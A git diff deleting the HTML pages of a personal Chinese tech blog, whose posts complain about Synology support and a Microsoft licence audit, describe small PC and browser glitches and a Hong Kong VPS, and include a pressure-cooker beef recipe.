    但是這次同事反應的問題,雖然有點類似,都是跟網域同步有關,但是群暉的客服是怎麼回答的呢? -> 1.請檢查您的預設閘道器(gateway)及網域名稱伺服器(DNS)設定是否有誤。 (在控制台> 網路> 一般頁面​​檢查),通常預設閘道器為您區網中路由器或IP分享器的IP位址,網域名稱伺服器您可以設定為8.8.8.8(此為Google的公用DNS伺服器),一般家用環境在代理伺服器這個選項,不需打勾。 -> -> ->   -> -> -> 2.請前往 控制台 > 網路 > 網路介面 > 區域網路 > IPv6 將IPv6設定為關閉; 在IPv4的頁面,如果有啟動Jumbo Frame的項目,請關閉。 -> -> ->   -> -> -> 3.如果問題還是存在,請再重新將錯誤訊息截圖給我們。 - 

    - -

    我很好奇, domain account 同步失敗,跟 gateway 有什麼關係??

    - -

    倒是跟DNS 有關連沒錯,可是在網域環境中,並不是把DNS指向 8.8.8.8 ,應該要先指向 Domain Controller 才對!

    - -

    你群暉的客服到底是懂不懂啊?

    - -

    再來,又關IPV6屁事??跟 Jumbo Frame 又有啥關係??

    - -

    就算退一萬步來說,真的是因為 IPV6 / Jumbo Frame 造成的錯誤,那你群暉的客服也應該跳出來說明為何其他家的設備就不會有問題

    - -

    唯獨你群暉的NAS 會因為IPV6 / Jumbo Frame 去影響網域帳號認證?(怎麼想都是風馬牛不相干…)

    - -

    禮拜五早上發信,禮拜一下午五點多才收到回信,回答的內容又讓人如此啼笑皆非

    - -

    我真的不知道該對群暉的客服還抱有什麼樣的期望了…

    - -

     

    - -

    只能建議,如果你是個人用戶,沒有網域環境,很少使用到客服的「支援」,那群暉的界面的確是滿容易上手

    - -

    如果你是企業使用,又有網域、需要用到ACL,想要客服快速回應,千萬不要用群暉的產品!

    - -

    如果你是企業使用,又有網域、需要用到ACL,想要客服快速回應,千萬不要用群暉的產品!

    - -

    如果你是企業使用,又有網域、需要用到ACL,想要客服快速回應,千萬不要用群暉的產品!

    - -

    (很重要,所以要說三遍)

    - -

    不管是打電話、email、填啥技術支援表格,都可以讓你培養出望穿秋水的耐心!!

    - -

    看到客服的回信,會讓你深深讚嘆現在客服人員的「專業素質」以及客服人員的「養成訓練」到底是怎麼辦的!!

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-synology-e7-9a-84-e7-a0-94-e8-a8-8e-e6-9c-83-e9-82-80-e8-ab-8b-e5-87-bd-ef-bc-8c-e4-b8-bb-e6-97-a8-e9-82-84-e4-bf-9d-e7-95-99-test-ef-bc-81-ef-bc-9f/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-synology-e7-9a-84-e7-a0-94-e8-a8-8e-e6-9c-83-e9-82-80-e8-ab-8b-e5-87-bd-ef-bc-8c-e4-b8-bb-e6-97-a8-e9-82-84-e4-bf-9d-e7-95-99-test-ef-bc-81-ef-bc-9f/index.html deleted file mode 100644 index 4ff7a4cd..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-synology-e7-9a-84-e7-a0-94-e8-a8-8e-e6-9c-83-e9-82-80-e8-ab-8b-e5-87-bd-ef-bc-8c-e4-b8-bb-e6-97-a8-e9-82-84-e4-bf-9d-e7-95-99-test-ef-bc-81-ef-bc-9f/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [雜念] 群暉 Synology 的研討會邀請函,主旨還保留 test !? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 群暉 Synology 的研討會邀請函,主旨還保留 test !?

    -
    - - - 2017-05-08 - - - - - - - - - 其他 - - - - - -
    - - -

    前幾天收到群暉寄來的研討會邀請函,主旨如下

    - -

    「test【即刻報名 59 Synology 年度研討會 】擁抱全方位儲存平台 突破新世代 IT 挑戰」

    - -

    都已經發給客戶了,主旨還掛著 test?可能是測試完忘記拿掉吧。小地方雖說無傷大雅,但這麼大規模的公司,似乎該更注意一些才是。

    - -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a2-ab-e5-be-ae-e8-bb-9f-e6-81-90-e5-9a-87-e4-ba-86-e5-a4-a7-e4-b8-ad-e8-8f-af-e5-8d-80microsoft-e8-bb-9f-e9-ab-94-e6-8e-88-e6-ac-8a-e9-81-b5-e5-be-aa-e5-b0-88-e6-a1-88/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a2-ab-e5-be-ae-e8-bb-9f-e6-81-90-e5-9a-87-e4-ba-86-e5-a4-a7-e4-b8-ad-e8-8f-af-e5-8d-80microsoft-e8-bb-9f-e9-ab-94-e6-8e-88-e6-ac-8a-e9-81-b5-e5-be-aa-e5-b0-88-e6-a1-88/index.html deleted file mode 100644 index 49f4a260..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a2-ab-e5-be-ae-e8-bb-9f-e6-81-90-e5-9a-87-e4-ba-86-e5-a4-a7-e4-b8-ad-e8-8f-af-e5-8d-80microsoft-e8-bb-9f-e9-ab-94-e6-8e-88-e6-ac-8a-e9-81-b5-e5-be-aa-e5-b0-88-e6-a1-88/index.html +++ /dev/null @@ -1,492 +0,0 @@ - - - - - - - - - - [雜念] 被微軟恐嚇了 - 大中華區Microsoft軟體授權遵循專案 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 被微軟恐嚇了 - 大中華區Microsoft軟體授權遵循專案

    -
    - - - 2014-04-02 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    今天早上接到微軟代表打來的電話

    - -

    說敝司目前被列在 大中華區Microsoft軟體授權遵循專案 中

    - -

    希望我們能配合提供目前公司內微軟的作業系統、軟體的使用情況

    - -

    我一開始表示說為什麼我需要配合微軟提供這樣的資料

    - -

    對方表示依照安裝時會出現的使用條款第X條,微軟有權這樣做

    - -

    p.s 靠北,誰安裝軟體的時候會去把所有條款看完?更何況,在看到條款的時候,東西都已經買了,是可以拿去退喔?

    - -

    接著對方又說也可以不提供,那我們公司就會交給另一個單位去協助「處理」

    - -

    到時候可能就會有律師等等人員到公司進行「稽核」,這樣子的話,場面可能就不太好看了….

    - -

    買東西買到被人家恐嚇啦!林北實在很不爽,雖然不是第一次了 Hell Boy

    - -

    電話講完,對方就傳了一封郵件來,希望我們能填好表格回傳

    - -

    圖片 4

    - -

     

    - -

    OS / Office 我倒是不怕啦,就算有缺也就是一兩套吧

    - -

    主要是SERVER CAL的部分,從來就沒有人能告訴我應該要怎樣買才算「足夠」..

    - -

    雖然我已經盡量減少MS的SERVER,但是畢竟在這種商用環境底下,AD的帳號管理、提供外部連線的遠端桌面,這些服務都不容易找到替代的方案

    - -

    反正就先把文件丟回給他們,看看他們要勒索多少錢好了…

    - -

     

    - -

    打算事後再來跟微軟的代表「討論」底下的問題..

    - -

    關於在使用者條款內說明微軟有權不定期進行稽核的部分

    - -

    剛剛說過,一般人不會去看這麼仔細,好,就算真的看過了,我拒絕讓微軟有這樣的權力,但是我東西已經買了啊,不管是彩盒、隨機、或者是大量授權

    - -

    請問廠商能夠接受退貨?不能接受退貨的話,那不就根本不讓USER有選擇權?這樣能算是合理的條款嗎?

    - -

     

    - -

    Update

    - -

    昨晚意外收到對方的信件,不過看內容似乎是要轉給同事,卻不小心選到回覆郵件給我…..Doubt it!

    - -

    信裡面提到這個窗口在月初已經收到五家「客戶」回傳資料了,還把名字都列出來….

    - -

    6

    - -

    然後看信件Header ,是從一家叫 telexpress.com ( 網訊電通 ) 來的,看樣子應該是外包商吧 !這根本就跟找討債集團沒兩樣嘛!

    - -

    Return-Path: <X@mssupport.microsoft.com> -X-Original-To: X -Delivered-To: X -Received: from X -(using TLSv1 with cipher ADH-CAMELLIA256-SHA (256256 bits)) -(No client certificate requested) -by X (Postfix) with ESMTPS id 3EA8CB418D2 -for X; Wed,  2 Apr 2014 20:48:20 +0800 (CST) -Received: from localhost (localhost [127.0.0.1]) -by X with ESMTP id X -for X; Wed,  2 Apr 2014 20:48:19 +0800 (CST) -Received: from X -by X with ESMTP id X -for X; Wed,  2 Apr 2014 20:48:18 +0800 (CST) -Received: from X (localhost [127.0.0.1]) -by X -Wed Apr  2 20:48:16 2014 -(envelope-from <X@mssupport.microsoft.com>) -Received: from W03TPMAIL03.telexpress.com (w03tpmail03.telexpress.com [60.248.103.171]) -by X -for X; Wed,  2 Apr 2014 20:48:15 +0800 (CST) -Received: from w03tpmail05.telexpress.com ([192.168.1.92]) by W03TPMAIL03.telexpress.com with Microsoft SMTPSVC(6.0.3790.4675); -Wed, 2 Apr 2014 20:48:15 +0800 -X-MimeOLE: Produced By Microsoft Exchange V6.5 -Content-class: urn:content-classes:message -MIME-Version: 1.0

    - -

     

    - -

    Update

    - -

    1.對方一直說「你不要騙我」、「你不要跟我爭論這個」、「你要老實講,我們微軟這邊都有紀錄」….口氣讓人覺得很不爽

    - -

    2.談到如果有少授權的部分,我說我用隨機版去補,對方說這樣不好,要我用大量授權,我說現在就算有缺,也就是一台兩台Win7(事實上,最後點出來根本就沒缺)

    - -

    但是MOLP一次最少要買五個以上,對我來說不划算,我當然是選擇用隨機版就好,對方就一直說隨機版不好管理怎樣怎樣,我覺得可能是用MOLP才有算他的業績吧…

    - -

    3.確認到最後,我故意拿我多買的授權問她,結果對方還順勢倒打一把,說怎麼會有多的授權?在微軟的角度這是不合理的。林阿罵咧,林北有錢,喜歡多買授權不行逆?

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a9-ad-e7-95-b0-e7-9a-84ie-e5-95-8f-e9-a1-8c/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a9-ad-e7-95-b0-e7-9a-84ie-e5-95-8f-e9-a1-8c/index.html deleted file mode 100644 index 31662ae0..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a9-ad-e7-95-b0-e7-9a-84ie-e5-95-8f-e9-a1-8c/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [雜念] 詭異的IE問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 詭異的IE問題

    -
    - - - 2014-11-10 - - - - - - - - - 未分類 - - - - - -
    - - -

    KS 的PC, WinXP + IE8

    - -

    IE開啟 yahoo首頁OK,但是要點頁面上的任何一個連結,不管連結到哪裡,一定會出現找不到網頁的錯誤。

    - -

    但是開啟google 或者其他任何網頁都OK。

    - -

    最後重設IE8之後解決,但是還是不知道原因…

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a9-ad-e7-95-b0-e7-9a-84ptt-e6-96-87-e5-ad-97-e9-a1-af-e7-a4-ba-e5-95-8f-e9-a1-8c/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a9-ad-e7-95-b0-e7-9a-84ptt-e6-96-87-e5-ad-97-e9-a1-af-e7-a4-ba-e5-95-8f-e9-a1-8c/index.html deleted file mode 100644 index b515a4f3..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e8-a9-ad-e7-95-b0-e7-9a-84ptt-e6-96-87-e5-ad-97-e9-a1-af-e7-a4-ba-e5-95-8f-e9-a1-8c/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - [雜念]詭異的ptt 文字顯示問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念]詭異的ptt 文字顯示問題

    -
    - - - 2015-10-15 - - - - - - - - - 未分類 - - - - - -
    - - -

    這兩天自從改用 putty 建tunnel 上 ptt 之後,在各個版面都常看到這個字眼「輕蟆」

    - -

    2015-10-15_14-18-41

    - -

    我以為又是啥新的大陸、日本用詞

    - -

    在幾篇文章底下推文,終於有個作者回我說他應該是打「輕鬆」沒錯啊

    - -

    想想是不是因為改了pietty的設定的關係,造成這種錯誤

    - -

    所以改用手機去看同一個版面,果然可以看到是正確的「輕鬆」

    - -

    2015-10-15_14-25-52

    - -

    看來的確是 pietty 的設定問題了

    - -

    想到比較有可能的,一個是字型、一個是啥簡繁體轉換那邊

    - -

    果然發現在簡繁體轉換的地方,選到了換成正體中文,結果就變這樣了

    - -

    只要改回預設就OK了!

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e9-a6-99-e6-b8-afhkserver-vps-e7-9a-84-e9-80-9f-e5-ba-a6-e9-82-84-e6-8c-ba-e4-b8-8d-e9-8c-af-e7-9a-84-e5-90-b6/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e9-a6-99-e6-b8-afhkserver-vps-e7-9a-84-e9-80-9f-e5-ba-a6-e9-82-84-e6-8c-ba-e4-b8-8d-e9-8c-af-e7-9a-84-e5-90-b6/index.html deleted file mode 100644 index 1f77c804..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e9-a6-99-e6-b8-afhkserver-vps-e7-9a-84-e9-80-9f-e5-ba-a6-e9-82-84-e6-8c-ba-e4-b8-8d-e9-8c-af-e7-9a-84-e5-90-b6/index.html +++ /dev/null @@ -1,456 +0,0 @@ - - - - - - - - - - [雜念] 香港HKServer VPS 的速度還挺不錯的吶 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 香港HKServer VPS 的速度還挺不錯的吶

    -
    - - - 2015-06-15 - - - - - - - - - 其他 - - - - - -
    - - -

    因為想要翻牆進大陸看影片 ( 大陸網民:老子搞半天要翻牆出去,你居然想進來!?)

    - -

    一直不斷的在測試亞洲的一些VPS

    - -

    Linode / DigitalOcean /Amazon EC2/Google Cloud Computing

    - -

    基本上就是註冊帳號、申請機器、架設PPTP or Softether VPN

    - -

    但是沒有一個空間在晚上能夠很順暢的播放大部分的影片…

    - -

    - -

    基本上我是放棄了用VPS作為中繼來看影片的想法了

    - -

    可以看就看,不能看的就先上網抓影片,再下載到隨身碟帶回家看

    - -

    前幾天看到一家位在香港的VPS有在特價,一個月18 USD,規格大概如下

    - -

    CPU:4 Core vCPU -内存(RAM):2G -硬盘(HDD):50G -IP地址:1 IP4 -带宽流量(Bandwridth):Unlimited international 5M -操作系统(OS):All Linux -位置(Location):HONGKONG -管理面板:SolusVM -右上角选择合适你的支付货币,付款后24小时内开通

    - -

    其實因為只是拿來作VPN / Proxy ,所以CPU/RAM/HDD 都不是啥重點

    - -

    反而是那個 Unlimited international 5M  有嚇到我,二話不說,先定一個來玩玩看

    - -

    設定什麼的就跳過吧,前面也提過,當Proxy / VPN 連大陸看影片的效果也沒很好

    - -

    但是出乎意料的是,抓BT速度飛快!

    - -

    剛剛看到Game Of Thrones Season 5 今天結束了,想說去抓一下 S1-S4 做個紀念..

    - -

    沒想到BT的速度嚇死人!有圖有真相!

    - -

    第一張是 Cacti 測出來的流量

    - -

    2015-06-15_15-42-45

    - -

    第二張是Console 底下用 rtorrent 跑出來的速度

    - -

    2015-06-15_16-00-29

    - -

    補一張BT下載完後,再透過工具下載回本機的速度截圖,可以跑到 1MB/s !

    - -

    2015-06-15_16-44-24

    - -

     

    - -

     

    - -

     

    - -

    看起來雖然想要翻牆進大陸看影片還有很長的路要走,但是拿來當下載中繼還挺不賴的啊!!

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-java-e4-bd-a0-e7-9c-9f-e7-9a-84-e8-a6-81-e6-90-9e-e7-b6-81-e6-9e-b6-e9-a6-96-e9-a0-81-e9-80-99-e6-8b-9b-ef-bc-9f/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-java-e4-bd-a0-e7-9c-9f-e7-9a-84-e8-a6-81-e6-90-9e-e7-b6-81-e6-9e-b6-e9-a6-96-e9-a0-81-e9-80-99-e6-8b-9b-ef-bc-9f/index.html deleted file mode 100644 index 61f05235..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-java-e4-bd-a0-e7-9c-9f-e7-9a-84-e8-a6-81-e6-90-9e-e7-b6-81-e6-9e-b6-e9-a6-96-e9-a0-81-e9-80-99-e6-8b-9b-ef-bc-9f/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [雜念] Java 你真的要搞綁架首頁這招? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] Java 你真的要搞綁架首頁這招?

    -
    - - - 2015-10-26 - - - - - - - - - 未分類 - - - - - -
    - - -

    今天早上出現的JAVA更新,預設就會幫你把首頁改成yahoo

    - -

    我相信很多人大概都不會去看這個選項,然後就被改掉了…

    - -

    2015-10-26_08-20-22

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-limitstyle-e5-ae-98-e7-b6-b2-e5-b1-85-e7-84-b6-e4-b8-8d-e6-94-af-e6-8f-b4firefox/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-limitstyle-e5-ae-98-e7-b6-b2-e5-b1-85-e7-84-b6-e4-b8-8d-e6-94-af-e6-8f-b4firefox/index.html deleted file mode 100644 index 2dccc180..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-limitstyle-e5-ae-98-e7-b6-b2-e5-b1-85-e7-84-b6-e4-b8-8d-e6-94-af-e6-8f-b4firefox/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [雜念] LimitStyle 官網 居然不支援Firefox ?? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] LimitStyle 官網 居然不支援Firefox ??

    -
    - - - 2015-09-16 - - - - - - - - - 未分類 - - - - - -
    - - -

    收到一封來自 LimitStyle 官網的信件,對裡面的訊息滿有興趣,所以就點選連結想看看

    - -

    因為我預設的瀏覽器是Firefox ,結果沒想到開出來的畫面變成這樣!

    - -

    很久很久沒碰到有網頁不支援 FireFox 的….

    - -

    2015-09-16_10-03-50

    - -

     

    - -

    但是用 Chrome 開就不會有問題.

    - -

    2015-09-16_10-08-01

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-mac-mini-e4-b8-8a-e5-87-ba-e7-8f-be-e8-8e-ab-e5-90-8d-apple-id/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-mac-mini-e4-b8-8a-e5-87-ba-e7-8f-be-e8-8e-ab-e5-90-8d-apple-id/index.html deleted file mode 100644 index 489ce296..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-mac-mini-e4-b8-8a-e5-87-ba-e7-8f-be-e8-8e-ab-e5-90-8d-apple-id/index.html +++ /dev/null @@ -1,415 +0,0 @@ - - - - - - - - - - [雜念] Mac Mini 上出現莫名 APPLE ID | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] Mac Mini 上出現莫名 APPLE ID

    -
    - - - 2014-05-19 - - - - - - - - - 未分類 - - - - - -
    - - -

    剛剛在PC上看到 itune 有更新,想說切到旁邊的 Mac Mini 去順手更新一下

    - -

    結果看到AppStore 有五六個軟體有新版,所以就順便點了更新

    - -

    結果一直出現什麼有其他ID之類的訊息

    - -

    看了一下,發現我在這台的mac mini 上的appstore中的 Apple ID居然變成是 auoboy@hotmail.com ??

    - -

    這不是我的ID啊,而且我這台 mac mini都已經用了那麼久,裝了很多APP去了,一直都是用我自己的帳號啊

    - -

    突然變成這個莫名的ID,感覺茸茸的 ….

    - -

    已經先把網路,也重新登入我的apple ID了

    - -

    不曉得還要檢查什麼地方嗎?

    - -

     

    - -

    p.s 那個ID拿去google 發現是某人的MSN帳號耶 @@

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-ptt-e5-9c-a8-e7-b7-9a-e4-ba-ba-e6-95-b8-999999-ef-bc-9f/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-ptt-e5-9c-a8-e7-b7-9a-e4-ba-ba-e6-95-b8-999999-ef-bc-9f/index.html deleted file mode 100644 index 47e6d817..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-ptt-e5-9c-a8-e7-b7-9a-e4-ba-ba-e6-95-b8-999999-ef-bc-9f/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [雜念] PTT 在線人數 999999? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-ptt-e5-9c-a8-e7-b7-9a-e4-ba-ba-e6-95-b8/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-ptt-e5-9c-a8-e7-b7-9a-e4-ba-ba-e6-95-b8/index.html deleted file mode 100644 index 46de8924..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-ptt-e5-9c-a8-e7-b7-9a-e4-ba-ba-e6-95-b8/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - [雜念] PTT在線人數 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] PTT在線人數

    -
    - - - 2014-06-26 - - - - - - - - - 未分類 - - - - - -
    - - -

    44444

    - -

    很久以前的截圖了,之前的BLOG有放,後來因為搬家、CRASH等等因素,這圖就不見了。

    - -

    剛剛在MARVEL版看到推文在討論常看到44這個數字,又想起來。

    - -

    本來在現在這個BLOG已經找不到那篇文章,連圖也不見了,幸好硬碟裡面還有留著,果然有習慣作備份真是個好習慣吶!

    - -

    請看圖 BJ4

    - -

    ptt-44444

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9d-88-e6-84-9f-e5-a4-aa-e9-99-bd-e8-83-bd-e8-97-8d-e8-8a-bd-e5-8d-b3-e6-99-82-e6-ba-ab-e6-bf-95-e5-ba-a6-e6-84-9f-e6-87-89-e5-99-a8/index.html b/themes/public/article/e9-9d-88-e6-84-9f-e5-a4-aa-e9-99-bd-e8-83-bd-e8-97-8d-e8-8a-bd-e5-8d-b3-e6-99-82-e6-ba-ab-e6-bf-95-e5-ba-a6-e6-84-9f-e6-87-89-e5-99-a8/index.html deleted file mode 100644 index f84aaffa..00000000 --- a/themes/public/article/e9-9d-88-e6-84-9f-e5-a4-aa-e9-99-bd-e8-83-bd-e8-97-8d-e8-8a-bd-e5-8d-b3-e6-99-82-e6-ba-ab-e6-bf-95-e5-ba-a6-e6-84-9f-e6-87-89-e5-99-a8/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - [靈感] 太陽能藍芽即時溫濕度感應器 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [靈感] 太陽能藍芽即時溫濕度感應器

    -
    - - - 2015-12-11 - - - - - - - - - 未分類 - - - - - -
    - - -

    好像是昨天睡覺作夢夢到的?

    - -

     

    - -

    感應器模組就是一個溫濕度SENSOR 加上 太陽能面板/電池模組,可以用太陽能供電

    - -

    人不必走出戶外,就能知道現在室外的溫濕度

    - -

    室內可以有一個顯示模組,就類似現在的數位溫濕度計,只是資料來源來自戶外的SENSOR

    - -

    可以設定資料回傳時間(min/hour)

    - -

    或者是可以傳到手機上的APP做紀錄

    - -

    顯示模組可以做成按一下再顯示或總是顯示,節省電力

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e6-bb-b7-e7-89-9b-e8-85-b1/index.html b/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e6-bb-b7-e7-89-9b-e8-85-b1/index.html deleted file mode 100644 index e5972b6c..00000000 --- a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e6-bb-b7-e7-89-9b-e8-85-b1/index.html +++ /dev/null @@ -1,424 +0,0 @@ - - - - - - - - - - [食譜] 飛利浦智慧萬用鍋-滷牛腱 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [食譜] 飛利浦智慧萬用鍋-滷牛腱

    -
    - - - 2015-11-21 - - - - - - - - - 未分類 - - - - - -
    - - - - -
    米格雯  飛利浦智慧萬用鍋的料理方法分享園地
    - -

    -
    -
    -【滷牛腱】 -在好市多買了一大包的牛腱 -取出2小袋剪開後裡面有4塊 -先燒一鍋熱水把牛腱滾一下去除血水 -夾出用清水沖洗乾淨後依序排入內鍋 -加入: -1、滷包(中藥店買的) -2、一大碗滿滿的清醬油 -2、近半碗的米酒 -3、約2大匙的糖(沒有冰糖用台糖2號砂糖) -4、3大條的辣椒(去籽) -5、3條蔥切段 -6、切片的薑3大片 -加水至淹過牛腱 -蓋上蓋子鎖緊 上蓋限壓閥轉至密封 -之前有爬過文怕選擇牛肉/羊肉模式牛腱會太軟爛 -改選擇「雞肉/鴨肉」模式 -音樂響起再悶個5分鐘就開鍋 -夾一塊出來切片試吃 -軟硬度恰到好處 也不會太鹹 -大成功啊!!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
